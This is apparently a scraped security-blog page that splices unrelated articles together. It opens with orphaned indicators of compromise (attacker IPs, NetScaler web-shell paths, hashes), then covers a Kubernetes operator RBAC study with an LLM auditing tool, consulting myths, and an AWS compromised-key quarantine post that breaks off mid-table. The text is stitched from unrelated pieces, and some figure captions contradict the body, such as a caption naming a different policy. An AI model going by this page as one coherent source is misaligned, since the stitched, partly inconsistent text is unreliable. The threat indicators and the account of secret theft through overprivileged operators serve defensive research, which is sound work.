Device Security is designed to proactively protect the specialized device attack surface of operational environments, providing deep visibility into industrial protocols, actionable risk insights, and adaptive security enforcement across all OT and IoT assets.

Additional References

Indicators of Compromise

Network Indicators

  • 45.61.136[.]143
  • 66.227.183[.]84
  • 77.83.199[.]39
  • 104.28.215[.]137
  • 104.248.244[.]66
  • 104.28.247[.]136
  • 162.33.178[.]9
  • 193.149.176[.]207
  • 216.245.184[.]164

Host Indicators

The following are a list of file details associated with web shells dropped after initial compromise.

  • /vpn/scripts/linux/nsgclient18.deb
  • /vpn/scripts/linux/nsg64.deb
  • /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver

SHA-256 hashes:

The text in Figures 1 and 2 of this article are represented by text files with the following SHA-256 hashes:

  • 1bd314b661396c7086f6367fbbb48025e03ca2de69c073d53a8b0a38aa5fbb7d - Base64 payload
  • 79c65fa04541032e251fa4796b97800374b63c7982593dd1a2e0db605d429186 - Decoded shell script
  • ae22ef2517b5c0fb47f78745b9cb5260acee0e751b89bcd354640ff8bc8d29ec - nsg64.deb file

Updated Sept. 27, 2026 at 4:15 p.m. PT to add information about Cortex Xpanse telemetry.

Updated Sept. 30, 2026, at 3:00 p.m. PT to add information on pre- and post-disclosure activity and threat hunting queries. Additional product protection information was added. 

Updated Oct. 1, 2026 at 1:00 p.m. PT to update MTH queries and add Cortex Xpanse and Device Security product protection information. 

Updated Oct. 8, 2026 at 7:00 a.m. PT to add Advanced IP Defense and DNS Security to the product protection.

OperTraitors: How Kubernetes Operators Betray Your Security Posture

Executive Summary

Kubernetes operators are coded to drastically reduce operational toil by acting as automated site reliability engineers. However, their reliance on highly privileged service accounts introduces a severe, often overlooked security weak spot.

To quantify and combat threats aiming to take advantage of this weak spot, we have released OperTraitor, an open-source, large language model (LLM)-powered analysis engine. OperTraitor ingests raw role-based access control (RBAC) configurations directly from locally installed operators and the OperatorHub catalog. Upon doing so, it calculates the difference between an operator's documented functionality and its actual granted privileges.

In using this tool, we discovered problems lingering in default registries like OperatorHub (e.g., abandoned, overly permissive software components). To ensure smooth deployments, developers frequently grant these Kubernetes operators broad, wildcard RBAC permissions, unintentionally transforming trusted components into silent backdoors.

OperTraitor empowers defenders by generating a normalized risk score to help visualize the potential impact of third-party operators. Defenders can then effectively downscope the operators’ underlying service accounts before they can be exploited.

This article analyzes the shifting threat landscape as the industry transitions toward AI-driven agentic operators, a development that will turn these passive RBAC misconfigurations into active threat vectors.

  • We detail the real-world impact of these excessive permissions through two case studies:
    • Using our tool, we identified a High-severity vulnerability (CVE-2026-6389, CVSS 8.8) in IBM's Turbonomic platform
    • OperTraitor also flagged an overly privileged configuration that included cluster-wide access to secrets and various actions on RBAC resources
  • We examine the complex trade-offs vendors face between operational flexibility and strict security
  • We demonstrate how to hunt for and mitigate similar risks in your own environment using OperTraitor

Palo Alto Networks customers are better protected from the threats discussed in this article through the following products:

The Unit 42 AI Security Assessment and Unit 42 Frontier AI Defense service can help identify and mitigate complex AI-enabled risks.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Kubernetes, LLM, Agentic AI

Kubernetes Automation Mechanisms

Before we can secure Kubernetes infrastructure, we must understand its foundational automation mechanisms. When we discuss Kubernetes operators, we refer to two core components working in tandem, a custom resource definition (CRD) and a controller:

  • CRD: A user-defined extension of the Kubernetes API that allows engineers to treat specific business logic (like a database cluster or a firewall policy) as a native Kubernetes object.
  • Controller: A non-terminating control loop that continuously monitors the actual state of these custom resources and reconciles them against the desired state defined in the configuration files. To execute this reconciliation loop, the controller requires a Kubernetes service account bound to specific Roles or ClusterRoles.

If a threat actor compromises an operator, the scope of the compromise is entirely defined by its RBAC permissions. An overly privileged operator functions as a silent backdoor ripe for exploitation, regardless of whether the compromise stems from a container image supply chain attack, a dependency vulnerability or the hijacking of its underlying node.

The Amplification of Risk: AI and the Agentic Era

While the fundamental issue is RBAC, the stakes are rising. The industry is currently shifting toward agentic operators, which are autonomous systems that manage clusters using LLMs and AI reasoning.

When we introduce AI into this ecosystem, excessive permissions become a much more serious weakness. We can observe this compounding risk in three emerging operational patterns:

  • LLM-enhanced logic: Operators that enhance standard remediation with LLM calls (e.g., K8sGPT)
    • If these inherit broad RBAC, they effectively become autonomous entities capable of reading sensitive data across unintended namespaces. These autonomous entities fall under two categories:
      • External agent bridges
      • Full agent runtimes
  • External agent bridges: Operators serving as conduits for external agents (e.g., via Model Context Protocol)
    • An overly privileged operator can grant an external AI unchecked control over cluster resources
  • Full agent runtimes: Operators designed to manage AI agent lifecycles natively within the cluster
    • The agents' unpredictable capabilities can impact the approach to infrastructure management

Regardless of whether an operator uses an LLM or traditional deterministic logic, the defensive mandate remains the same: Secure the service account.

Auditing the Ecosystem: The Operator Lifecycle Weak Spot

To understand the true scale of these RBAC misconfigurations across the ecosystem and empower the community to audit them, we built OperTraitor. We designed this automated pipeline to perform the following:

  • Collect data based on OperatorHub and locally installed operators
  • Extract their raw YAML manifests
  • Feed their RBAC configurations into an LLM configured for threat analysis

The engine compares the permissions an operator actually possesses against its stated documentation. It then assigns a risk score from 1–10 based on the difference between required and granted privileges.

Figure 1 illustrates OperTraitor's high-level architecture.

A flowchart depicting OperTraitor architecture. It includes the user interacting with both Kubernetes and Docker. The scan phase involves loading images and collecting metadata. Results are sent to an Elasticsearch server. The Analyze phase includes cross-referencing the OpenAI model and validating scores. The output displays on a web dashboard.
Figure 1. OperTraitor architecture. Source: OperTraitor repository on GitHub.

Figure 2 displays a screenshot of the OperTraitor user interface, showing the total number of high-risk operators alongside the post-analysis scores of two specific operators.

A screenshot of OperTraitor dashboard. It includes a search bar for operators, statistics showing 631 total and analyzed operators, and 16 high risk. Two sections below provide details on specific operators, both marked with a red "10" indicating alerts. The sidebar shows categories such as Machine Learning, Big Data, and Observability.
Figure 2. OperTraitor main analysis dashboard showing high-risk operators.

During this process, we uncovered a significant supply chain weakness. OperatorHub is filled with abandoned, overly permissive software components. Many vendors publish new, secure versions of their operators exclusively through Helm charts, their GitHub repositories or ArtifactHub. However, their older, vulnerable versions remain easily accessible through the Operator Lifecycle Manager (OLM).

OLM has historically been the gold standard of the open-source community and the default in OpenShift environments. As a result, users routinely deploy outdated operators in a few simple clicks, often without realizing it. Vendors are largely not prioritizing the maintenance or deprecation of their legacy components on OperatorHub, presenting a significant attack vector.

The Tip of the Iceberg

The RBAC misconfigurations we discovered are not isolated incidents. During our research, we identified multiple other operators (slightly over 5%) that request excessive privileges, including implicit paths to cluster admin access.

Unfortunately, many of the operator owners we contacted did not respond to our responsible disclosure attempts. In many cases, this lack of engagement simply indicates that the operator is no longer actively maintained.

While we will not cover those specific cases in this article, the reality highlights a critical takeaway that security teams must be vigilant. We strongly encourage treating every component sourced from OperatorHub with caution, independently verifying both its RBAC requirements and its active maintenance status before deployment.

To illustrate the real-world impact of these excessive permissions, we detail two specific case studies below.

Case Study 1: Excessive Secret Access (Prometurbo Operator - IBM)

When initially scanning OperatorHub, OperTraitor flagged the Prometurbo operator for using wildcards. Recognizing that the version on OperatorHub was severely outdated (v8.6.0, from 2022), we analyzed the recent version available via IBM’s GitHub repository (v8.17.6) to see if the posture had changed.

OperTraitor identified a critical RBAC violation. Instead of restricting access to its own namespace, the operator's service account was bound to a ClusterRole. This ClusterRole contained an explicit rule granting get, list and watch verbs on the secrets resource within the core API group (represented by apiGroups: [""])

Unless an operator functions explicitly as a centralized secrets manager, it rarely requires cluster-wide read access to Secret resources. Typically, an operator only needs access to specific secrets within its localized namespace.

Possessing explicit, cluster-wide read access to all secrets, the Prometurbo operator effectively became a single point of failure. If compromised, an attacker could immediately dump administrative service account tokens, database credentials, API keys and TLS certificates from completely unrelated namespaces. This could turn a localized breach into a total environment compromise.

Upon identifying this setting, we initiated a responsible disclosure process with IBM. The vendor responded promptly and collaboratively, quickly identifying the root cause and issuing a patch in a subsequent release that properly scoped the operator's RBAC permissions to align with the principle of least privilege (PoLP).

Due to the importance and impact of the vulnerability, IBM published a formal security bulletin and assigned a CVE (CVE-2026-6389) with a High CVSS score (8.8/10).

Disclosure Timeline:

  • Nov. 5, 2025: Vulnerability reported to IBM via the Vulnerability Disclosure Program
  • Feb. 3, 2026: IBM confirmed the issue is resolved
  • April 24, 2026: IBM published a security bulletin with CVE-2026-6389

Case Study 2: The Trade-Off Between Security and User Experience (UX) (Datadog Operator)

In the case of the Datadog operator, OperTraitor flagged an overly privileged configuration that included cluster-wide access to secrets and various actions (verbs) on RBAC resources (ClusterRoles and ClusterRoleBindings).

Upon our disclosure, Datadog representatives shared a detailed explanation of the reasoning behind granting these broad permissions. They noted that the names of the secrets the operator needs to access are based on user-defined values, making them impossible to predict or explicitly define before deployment. Given Datadog’s architecture, this is a valid point that highlights the complex trade-off vendors face between delivering strict security and a seamless user experience.

Datadog recognized the importance of transparency for end users assessing cluster risk. They opted to add a detailed explanation of their RBAC settings and documented applied mitigations, allowing security teams to make informed risk-acceptance decisions.

Mitigation: Securing the Non-Human Identity

Securing the operator ecosystem requires a shift in how security teams evaluate and monitor Kubernetes infrastructure. We recommend implementing the following defensive strategies:

  • Verify the source and avoid default registries: Do not implicitly trust versions available on OLM or OperatorHub. Always verify the vendor's official documentation and deploy operators via their maintained Helm charts, ArtifactHub or official GitHub repositories to ensure you are installing the most recent, patched version.
  • Enforce namespace-scoped operators: Whenever architecturally possible, restrict operators to the specific namespaces they manage. Avoid deploying cluster-scoped operators (ClusterRoles and ClusterRoleBindings) unless absolutely necessary, strictly limiting the area of impact in a potential compromise.
  • Continuously audit and downscope RBAC: Always validate vendor-provided YAML manifests. Assess the RBAC posture for critical production environments. There are useful open-source tools to support this task, including OperTraitor.
  • Monitor service account behavior: Enable and actively monitor Kubernetes Audit Logs. Baseline the normal behavior of your operator service accounts and alert on anomalous activity. An example of anomalous activity could be an operator suddenly attempting to list secrets in an unrelated namespace or querying the API server from an unexpected IP address.
  • Establish guardrails for AI agents: If you are experimenting with LLM enhanced operators or agentic frameworks, enforce strict network policies:
    • Ensure these pods cannot reach the public internet or unauthorized internal endpoints
    • Strictly limit the context and permissions passed to the underlying LLMs

Conclusion

The convenience of Kubernetes operators comes with a hidden cost: the rapid proliferation of highly privileged, non-human identities within our clusters. Our research indicates a widespread violation of the PoLP across the Kubernetes ecosystem.

Whether driven by the difficulty of scoping permissions for dynamic environments or simply by a developer’s misconfiguration, operators are frequently granted access that far exceeds their operational requirements. This problem is exacerbated by the prevalence of outdated, abandoned components in registries like OperatorHub, creating a massive attack surface.

The shift to agentic operators will worsen the risks this presents. An overly privileged operator today is the autonomous, uncontrolled agent of tomorrow.

As we stand on the threshold of the agentic era, the way we manage Kubernetes is undergoing a fundamental change. AI-driven automation holds incredible promise for reducing operational overhead, but it requires a rock-solid foundation of identity and access management to ensure a secure environment.

We can not afford to treat non-human identities as an afterthought. Security teams must scrutinize operator permissions with the same rigor they apply to human administrators. By improving the RBAC hygiene of our clusters today, we can safely embrace the autonomous operations of the future without betraying our security posture.

Palo Alto Networks Protection and Mitigation

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

  • Cortex Cloud can help protect cloud posture and runtime operations against identity-driven threats by pairing static permission baselines with deep behavioral context. By embedding the functional identity baselines discussed in this research into our detection engine for both cloud VM compute and serverless agents, Cortex Cloud adds a vital layer of operational context, enabling security teams to filter out noisy false positives and decisively catch threat actors attempting to masquerade, alter configurations, or execute anomalous operations in the environment.

The Unit 42 AI Security Assessment and Unit 42 Frontier AI Defense service can help identify and mitigate complex AI-enabled risks.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 000 800 050 45107
  • South Korea: +82.080.467.8774

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Additional Resources

3 Consulting Myths Debunked by Unit 42 Experts

We interviewed three Unit 42 consultants to examine the most critical cybersecurity misconceptions observed in their casework across customer environments, and the strategic shifts needed to correct them.

Myth 1: The More Security Tools, The Better

A widespread assumption is that purchasing a new, specialized security tool for every emerging threat always results in stronger protection. In reality, continuously adding tools without a unified security strategy can lead to tool overload and create critical operational vulnerabilities.

Some of the key challenges created by this approach include:

  • Alert fatigue and high false positive rates: Improperly tuned security tools can overwhelm security operations center (SOC) analysts with alerts, making it difficult to distinguish real threats from false positives. AI-powered telemetry can help reduce this burden, but if it’s treated as a black box, it can complicate analysts’ efforts to understand the reasoning behind an alert.
  • Feature underutilization: Organizations frequently fail to take advantage of the capabilities already available within their existing security platforms. Rather than leveraging features present in the tools they already have, some organizations purchase new products to address needs their current tools can already satisfy.
  • Increased operational friction and overhead: Managing multiple, disparate platforms consumes valuable time and increases operational costs. It can also create visibility gaps at the integration points between different tools and technology suites.

Our consultants recommend three main strategies:

Thoroughly Audit Your Tools

Conduct an in-depth audit of the security tools your organization already deploys. Review vendor documentation, technical manuals and product resources to identify the full range of capabilities available within each platform, not solely the most well-known or popular. Understanding a product’s full capabilities can reveal opportunities to address existing security requirements without introducing additional products.

Conduct a Comprehensive Security Architecture Review

Organize your security tools according to their primary function and domain. For instance, network tools should be classified under network protection while identity tools fall under identity and access management. Evaluate each security domain systematically to understand which tools are truly required and where existing platforms may already provide adequate coverage.

Consolidate and Fine-Tune

Align your security portfolio to your organization’s unique environment. Where possible, consolidate overlapping solutions and configure existing platforms to maximize their capabilities. The goal is not simply to reduce tools but to build a security portfolio that is streamlined, integrated and capable of providing effective coverage.

Myth 2: Smaller or Medium Sized Organizations Are Safe From Attackers

Unit 42 consultants have observed small and mid-sized organizations operating under the assumption that they are too insignificant to be targeted by major threat actors.

The reality is that attackers frequently target smaller entities to provide a pathway into larger, more heavily protected organizations. This risk is particularly relevant in the public sector, where smaller agencies may maintain connections or access to larger entities and critical infrastructure.

This assumption is compounded by overconfidence and poor implementation posture. In a majority of the cases observed, organizations failed to properly implement, leverage and enforce the tools they actually possessed. These issues can increase the odds of being compromised.

Our consultants emphasize two main approaches for reducing this risk:

Maintain a Zero-Trust Mindset

An organization’s size, industry or current security practices do not make it immune from being compromised. Modern security teams should operate under an Assume Breach mindset, prioritizing proactive readiness.

Invest in Your Security Strategy

Gone are the days when an organization’s cybersecurity can be successfully managed by one IT administrator. Cyber risk encompasses every vector that could lead to system compromise, from unpatched software to social engineering to supply chain vulnerabilities. A thorough security strategy is essential for the long-term success of an organization, and must be prioritized as such.

Myth 3: Security Controls and GRC Are Strictly For "Checking Boxes"

Our consultants frequently observe organizations treating security controls and governance, risk and compliance (GRC) controls as routine checkpoints rather than essential components of active defense. Associating controls strictly with the compliance space fundamentally misinterprets their purpose. When security teams view controls as audit paperwork, they undermine their strategic value and leave severe risks unaddressed across the enterprise.

Consider a periodic privileged access review, a control that’s designed to regulate identity and access management. If neglected, unmonitored accounts in an organization can obtain excessive permissions. If a threat actor compromises one of these accounts, they obtain increased privileges that enable rapid lateral movement and privilege escalation across the enterprise. Had the security control been administered as intended, the excessive privileges would have been revoked, therefore removing the attacker’s primary attack path.

Our consultants offers three main key takeaways:

Adopt a Security-First GRC Mindset

Shift the perspective of GRC from external audit compliance to active threat mitigation. This approach enables organizations to identify risks earlier, refine controls processes and respond to emerging threats more effectively.

Establish an Authoritative Security Framework

Organizations should establish a recognized security framework, such as NIST SP 800-53, CIS Controls v8, or ISO 27001, as the foundation for their GRC program. Pairing a high-level control framework with technical specifications provides clear guidance on the controls that need to be implemented and monitored.

Adopt a Risk Controls Matrix (RCM)

Allocate the necessary time and resources to build and manage a dynamic RCM. This includes:

  • Clearly designating RCM owners
  • Maintaining clean data mapping across enterprise applications
  • Establishing clear testing schedules
  • Verifying whether controls perform as intended

An effective RCM verifies control efficacy, eliminates ambiguity and accelerates incident response.

Final Thoughts

These perspectives from our consultants reinforce a key takeaway: Effective organizational security is built on foundational discipline, not on chasing industry trends and continually shifting to the next solution. Routine architecture reviews, ongoing assessment of weak points and an understanding of your true security posture delivers a stronger, more sustainable foundation for managing risk.

The connections between these myths further demonstrate how they can reinforce one another. An increasingly complex tool stack can directly create a false sense of security, leading organizations to overestimate their defenses and underestimate their exposure. While these technologies can provide significant value and strengthen an organization’s defense, they are not a substitute for security fundamentals. Challenging these underlying assumptions and addressing the underlying gaps can fundamentally transform an organization’s security posture from passive compliance into true resilience.

Get personalized advice from Unit 42 experts on how to strengthen your defenses.

Additional Resources

 

From Exposure to Lockdown: How AWS Neutralizes Compromised IAM Credentials through Managed Policies

Executive Summary

This article explores how AWS mitigates the security risks associated with publicly exposed Identity and Access Management (IAM) access keys through its AWSCompromisedKeyQuarantine managed policy. We discuss the evolution of the different versions of this AWS managed policy. We also show how the managed policy AWSCompromisedKeyQuarantine evolved over time to protect organizations by relating it directly to new cloud attacks against AWS environments.

Additionally, this article provides background to the partner integration between GitHub's secret scanning program and AWS. Our research details how the managed policy automatically gets attached with a step-by-step timeline of a real-world exposure test.

Finally, the article highlights practical monitoring strategies for security teams to detect quarantine events within their own logging environments to ensure rapid incident response.

Palo Alto Networks customers are better protected from the threats discussed above through the following products and services:

Unit 42 Cloud Security Assessment is an evaluation service that reviews cloud infrastructure to identify misconfigurations and security gaps.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics IAM, Exposed Credentials, Identity

AWSCompromisedKeyQuarantine Background

When organizations face attacks against their AWS environments, misuse of AWS IAM user access keys continue to account for a large majority of initial attack vectors. These long-term access keys pose security risks to organizations if the permissions associated with the IAM users do not follow the principle of least privilege.

Access keys and their associated secrets become exposed in many different ways, commonly through publication in public code repositories or exposure in environment variable files. If AWS receives notifications about access keys and secrets exposed in public GitHub repositories or through other notices, it promptly secures those credentials and notifies the owners.

AWS secures the exposed credentials using automated processes, which allows it to quickly support victim organizations and limit their exposure. This automated process has been around for many years and was documented by cloud security researcher Pawel Rzepa in the AWS Access Keys Leak in GitHub Repository and the Some Improvements in Amazon Reaction posts.

Before delving into the importance of the AWSCompromisedKeyQuarantine managed policy and its purpose, we will first discuss how managed policies work within AWS environments.

The AWS IAM service offers various features for configuring identities within an AWS account. In particular, AWS provides a policy feature that aggregates permissions into an object for attachment to a principal.

Policies encompass a wide range of types, but this article focuses on identity-based policies. Identity-based policies specifically attach to an identity, while other policy types attach to resources or define permission limitations, such as a permission boundary.

These policies consist of managed (AWS-managed and customer-managed) and inline policies. Managed policies include three sub-types:

Figure 1 shows the breakdown of these policies.

A diagram illustrating AWS IAM policy types. It includes sections for Identity-Based Policies, with Customer Managed Policies and Inline Policies, and AWS Managed Policies, featuring AWS Managed Job Function and an example.
Figure 1. Breakdown of IAM features in relation to main IAM service.

AWS-managed policies exist to assist organizations with IAM permission management. They also enable organizations to configure permissions to stand up resources within an AWS account swiftly and securely. Of the AWS-managed policies, AWSCompromisedKeyQuarantine specifically helps protect an IAM user in case of an exposed AWS IAM access key and secret. Access keys grant long-term command line interface (CLI) access to an IAM user.

AWS created the AWSCompromisedKeyQuarantine managed policy on Aug. 11, 2020, later releasing V2 on April 21, 2021, and V3 on Aug. 21, 2024. According to the V3 managed policy description, this policy:

“Denies access to certain actions, applied by AWS in the event that an IAM user's credentials have been compromised or exposed publicly. The policy aims to limit the potential damage that may be caused by fraud-related activity leading to unauthorized charges, while not impacting the existing resources. Do NOT remove this policy. Instead, please follow the instructions specified in the support case created for you regarding this event.”

We will cover the evolution of the policy permissions and the implication of those changes in the Managed Policy Permission Evolution section of this article.

Analyzing this policy in detail matters because AWS automatically attaches it upon locating exposed credentials in public code repositories or external exposure notifications. The AWSCompromisedKeyQuarantine managed policy proactively assists customers during access key exposures to minimize potential damage from attackers. Once attached, the managed policy limits the scope of permissions associated with the IAM user by denying various permissions commonly misused by threat actors.

GitHub Secret Scanning Partner Program

Long-term access keys can be exposed in many different ways. For example, it could be due to them being included in publicly accessible environment variable files and or public code repositories.

To help protect against exposing sensitive credentials, GitHub established the secret scanning partner program starting in 2018 and expanded to include AWS in 2020. It then created validity checks in January 2023 and push protection in August 2023 (discussed in more detail in the GitHub Validity Checks for Detecting Secrets Exposure section).

The GitHub secret scanning partner program allows it to scan public surfaces across GitHub, including repositories and public npm packages for specific sequences to identify exposed credentials. These scans occur by default within public repositories. Administrators and owners can also enable scanning on private repositories. Service partners can work with GitHub to create specific sequences for scanning and then provide an HTTP endpoint for GitHub to alert the service provider to exposed credentials in public repositories.

This alert allows the service provider to then proactively notify their customers about exposed credentials, and in some cases, the service providers take steps to secure the secret by revoking or quarantining the exposed secret. GitHub documentation lists more than 500 detectors across over 200 service partners, such as AWS. The checkbox in GitHub’s documentation notes when GitHub has an agreement to share compromised secret leaks with the respective issuer.

Managed Policy Attachment and Notification Process

When AWS first released the AWSCompromisedKeyQuarantine managed policy, the notification process differed from the current iteration. The original process entailed emailing the AWS account owner of the exposure. The process evolved to also attach the managed policy to the IAM user associated with the exposed access key and secret. The process has evolved again to include a support ticket generated within the AWS account containing the exposed access key.

We performed a test exposing an access key with a public GitHub repository in the main branch to track the response time and notification process. During the test scenario, AWS attached the AWSCompromisedKeyQuarantineV3 managed policy within 10 seconds of the access key exposure. A second later, GitHub generated a notification. This was followed shortly by AWS generating various Health and Support tickets.

The timeline below details each step of the testing process with commentary about what actions appear in the default AWS CloudTrail logs. The CloudTrail service, enabled by default for 90 days, records all management events occurring within an AWS account. During the test, we did not enable any additional CloudTrail data events so all the events in the timeline appear in the default CloudTrail logs. All times listed below are in Coordinated Universal Time (UTC).

  • Dec. 19, 2025 17:28:39 - CreateUser - CloudTrail logs showed the creation of the initial IAM user with the arbitrary username TestUser
  • Dec. 19, 2025 17:29:44 - CreateAccessKey - CloudTrail logs showed the creation of the new access key associated with the newly created IAM user
  • Dec. 19, 2025 17:34:23 - GetCallerIdentity - CloudTrail logs showed the initial test of the access key with aws sts get-caller-identity
  • Dec. 19, 2025 18:46:57 - When trying to push a new text file into the GitHub repository, GitHub push protection noted that it identified an access key and secret, as noted below in Figure 2. Both the access key and the secret each generated a pop-up asking whether the push with the credentials was purposeful.
A screenshot of a GitHub notification alert indicating that a secret scanning tool has found an Amazon AWS Access Key ID secret on a line. It warns about the risks of exposure and provides options for resolution, including marking the secret as used in tests, identifying a false positive, or planning to fix it later. There is an option to cancel or allow the secret.
Figure 2. GitHub notification of an AWS access key.
  • Dec. 19, 2025 18:50:05 - Access key and secret successfully pushed to public GitHub Repository
  • Dec. 19, 2025 18:50:15 - CloudTrail logs show the attachment of the AWSCompromisedKeyQuarantineV3 managed policy with the AttachUserPolicy event as noted in Figure 3. The CloudTrail log did not indicate this was an AWS automated action. Instead, the userIdentity JSON field, which identifies the action's performer, listed the IAM user's name (TestUser as shown in Figure 4) even though TestUser did not perform this action.
A screenshot of an AWS IAM permissions page showing a table with the column headers: "Policy name," "Type," "Attachment," and "Attached via." The table lists one policy: "AWSXRayReadOnlyAccess," marked as "AWS managed" under the type column, with the attachment method as "Directly." Options to filter by type and add permissions are visible.
Figure 3. AWSCompromisedKeyQuarantineV3 managed policy attached.
A screenshot of a JSON formatted log entry from AWS CloudTrail. It contains details like event version, AWS user identity, access key IDs, event time, event source, request parameters, response elements, and additional metadata.
Figure 4. JSON entry from the CloudTrail log.
  • Dec. 19, 2025 18:50:16 - GitHub also sent out an email notification stating that it identified the sensitive access key and secret. Figure 5 shows the body of this email notification.
A screenshot of an alert on GitHub about detected secrets. The alert advises resolving issues with exposed Amazon AWS Access Key ID and Secret Access Key. Links are provided to review the detected secrets. Options to sign in to GitHub and adjust notification settings are available.
Figure 5. Content from the GitHub email notification.
  • Dec. 19, 2025 18:50:17 - In the AWS console, a notification appeared noting that an AWS Health alert was created with the name Risk IAM quarantine, as noted below in Figure 6. This action did not generate an event in the CloudTrail logs.
A screenshot of an AWS Health Dashboard displaying an open issue. The issue relates to "Risk IAM quarantine" with a start date of December 18, 2018. Details section includes information on service, region, availability zone, category, and resources affected. Description encourages contacting AWS Support for more information.
Figure 6. AWS console showing the Health alert.
  • Dec. 19, 2025 18:50:26 - AWS also sent out an email notification, shown below in Figure 7. This contained the same information as a Support ticket created seconds later in the AWS console.
A screenshot of an email from AWS. It informs the recipient that their access key for AWS Identity and Access Management (IAM) user has been quarantined. The email suggests reviewing actions related to "AWSCompromisedKeyQuarantineV3" and using MFA for account security. Links to the GitHub repository and the AWS user guide are provided.
Figure 7. Content from the AWS email notification.
  • Dec. 19, 2025 18:50:59 - In the AWS console, a Support case was also created with details of the exposed access key and IAM user. Figure 8 shows the details of this case. Creating a Support case also did not generate an event in the CloudTrail logs.

A screenshot of an email alert from AWS Support. The subject is "[Action Required] Your AWS Access Key is Exposed for AWS Account." It includes a table with customer and account details, and a detailed message advising actions to secure the exposed AWS access key. The message outlines steps for rotating the access key and includes links for additional resources.
Figure 8. Details of the Support case in the AWS console.
Figure 9 shows the high-level chain of events from the timeline illustrated in Figures 2–8.

A flowchart illustrating the process when an access key and secret are exposed in a GitHub repository. The steps include: AWSCompromisedKeyQuarantine policy automatically attached to an IAM user, GitHub email notification sent, AWS Health alert created, and a support case email notification sent and case created.
Figure 9. Access key and secret exposure test scenario high-level timeline.

Within some organizations, the cloud engineering teams monitor emails regarding an AWS account and the security team is unaware of these emails. To prevent these communication gaps, security professionals can leverage AWS Systems Manager Explorer which helps aggregate AWS Support cases. The security team can also proactively enable alerting in the tool of their choice, based on the attachment event in the CloudTrail logs.

Within the CloudTrail logs, when any version of the AWSCompromisedKeyQuarantine managed policy gets attached to an IAM user, the event name AttachUserPolicy with the event source of IAM will be generated. The name of the managed policy will be present within the requestparameters subfield PolicyArn. This helps security teams proactively stay on top of exposed credentials and quickly begin investigating the access key in question.

Managed Policy Permission Evolution

After the initial release of the AWSCompromisedKeyQuarantine managed policy on Aug. 11, 2020, AWS has continued to update the policy to keep protecting their customers from new threats. AWS performs two types of version updates for managed policies. In minor updates, AWS makes changes to the permissions in the policy and updates the policy version without changing the managed policy name. In major updates, AWS creates a new managed policy and appends vX with the new version number to the end of the policy name.

Originally, the permissions of AWSCompromisedKeyQuarantine v1 focused on limiting 28 actions for the following five services:

However, with each new version of the managed policy, those permissions have evolved and expanded.

The code snippet below from the AWSCompromisedKeyQuarantine v1 managed policy JSON permissions details the full JSON permissions associated with the first version of this managed policy. Unlike traditional managed policies, this specific policy contains a Deny effect on permissions. After identifying an exposed access key, AWS does not need to modify the existing permissions associated with the IAM user to protect the identity from exploitation.

Simply attaching these AWSCompromisedKeyQuarantine policies with the Deny component helps limit unauthorized usage of the key. When interpreting IAM user permissions, AWS dictates that explicit Deny overrides explicit Allow. So even if the IAM user permissions contained iam:CreateUser with an Allow for the effect, the AWSCompromisedKeyQuarantine managed policy containing iam:CreateUser with a Deny for the effect will override the Allow.

If the IAM user had completely different permissions than those listed below, then the purpose of the identity would not be impacted by these permission limits. Since the attachment of this specific managed policy occurs automatically, AWS wants to balance operational impact with securing the exposed credentials.

Another policy exists, AWSDenyAll, which denies all actions. However, this has a significant impact on any processes using the access key and secret. The AWSCompromisedKeyQuarantine policy limits the majority of risky threat actor activity while also allowing normal business operations.

AWS purposefully denies specific actions rather than completely disabling the compromised access key or user password. However, this decision allows advanced threat actors to use the exposed credentials for any actions the policy does not explicitly deny.

With AWSCompromisedKeyQuarantineV2, released on April 21, 2021, the permissions evolved to include the Amazon Simple Storage Service (S3) service with 11 permissions and 16 additional permissions to the original five services. Throughout the five versions of AWSCompromisedKeyQuarantineV2, AWS ultimately added a total of 61 permissions to the Deny list across 17 services.

When reviewing the different JSON permissions within v1 and v2 of AWSCompromisedKeyQuarantineV3, we identified that it replicated the additions to AWSCompromisedKeyQuarantineV2 v4 and v5 and added no additional permissions. Tables 1–3 detail the modifications made throughout each version of the managed policy.

Managed Policy Version Version Release Date Permissions changed
v1 2020-08-11 18:04:13 N/A

Table 1. AWSCompromisedKeyQuarantine permission changes per version.

Managed Policy Version Version Release Date Permissions changed
v1 April 21, 2021 22:30:59 Add:
"iam:AddUserToGroup",
"iam:CreatePolicyVersion",
"iam:PassRole",
"iam:PutGroupPolicy",
"iam:PutRolePolicy",
"iam:SetDefaultPolicyVersion",
"iam:UpdateAssumeRolePolicy",
"iam:UpdateLoginProfile",
"lambda:AddLayerVersionPermission",
"lambda:AddPermission",
"lambda:GetPolicy",
"lambda:ListTags",
"lambda:PutProvisionedConcurrencyConfig",
"lambda:TagResource",
"lambda:UntagResource",
"lambda:UpdateFunctionCode",
"s3:DeleteBucket",
"s3:DeleteObject",
"s3:DeleteObjectVersion",
"s3:PutLifecycleConfiguration",
"s3:PutBucketAcl",
"s3:DeleteBucketOwnershipControls",
"s3:DeleteBucketPolicy",
"s3:ObjectOwnerOverrideToBucketOwner",
"s3:PutAccountPublicAccessBlock",
"s3:PutBucketPolicy",
"s3:ListAllMyBuckets"
v2 Nov. 11, 2021 21:32:48 Add: "s3:PutBucketOwnershipControls",
Remove: "s3:DeleteBucketOwnershipControls"
v3 Aug. 10, 2022 21:15:53 Add: "cloudtrail:LookupEvents"
v4 March 16, 2023 00:20:25 Add:
"ec2:PurchaseReservedInstancesOffering",
"ec2:AcceptReservedInstancesExchangeQuote",
"ec2:CreateReservedInstancesListing",
"savingsplans:CreateSavingsPlan"
v5 Oct. 2, 2024 16:41:39 Add:
"ecs:CreateService",
"ecs:CreateCluster",
"ecs:RegisterTaskDefinition",
"ecr:GetAuthorizationToken",
"bedrock:CreateModelInvocationJob",
"bedrock:InvokeModelWithResponseStream",
"bedrock:CreateFoundationModelAgreement",
